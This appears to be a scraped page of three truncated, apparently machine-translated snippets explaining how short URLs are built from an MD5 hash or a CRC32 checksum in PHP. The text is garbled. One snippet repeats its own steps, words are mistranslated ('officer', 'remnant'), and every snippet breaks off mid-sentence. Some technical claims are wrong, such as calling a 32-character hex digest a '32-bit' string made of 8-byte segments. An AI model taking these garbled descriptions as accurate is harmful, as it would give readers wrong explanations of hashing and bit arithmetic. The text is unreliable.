The 32-bit signature string generated by the long URL md5 is divided into four sections, each of which contains eight bytes: 1) generate a 32-bit signature string for the long URL md5, which is divided into four sections, each of which contains 8 bytes; 2) for these four cycles, take 8 bytes and treat them as hexadecimal strings and 0x3fffffff (30 bits 1) and operations, that is, ignore processing with over 30 bits; 3) The 30 digits are divided into six segments. each of the five digits is used

Ideas: 1) to generate a long URL MD5 32-bit signature string, divided into 4 segments, 8 bytes per segment; 2) for this four-segment cycle processing, take 8 bytes, he is regarded as 16 binary string and 0X3FFFFFFF (30 bit 1) and operation, that is, more than 30 bits of ignoring processing; 3) The 30 bits are divided into 6 segments, and each 5 digit number is taken as an index of the alphabet to obtain a specific character, followed by a 6-bit string; 4) The total MD5 string can obtain 4 6-bit

PHP generates short URLs Principle: 1. CRC32 Check the original URL, get the check code. 2. Use sprintf ('%u ') officer to convert to unsigned digits. 3. For the unsigned number of the remainder 62 operation (uppercase and lowercase letters + numbers equal to 62 bits), to obtain a remnant after mapping to 62 characters, the mapped characters are saved. (for example, the remainder is 10, the mapped chara
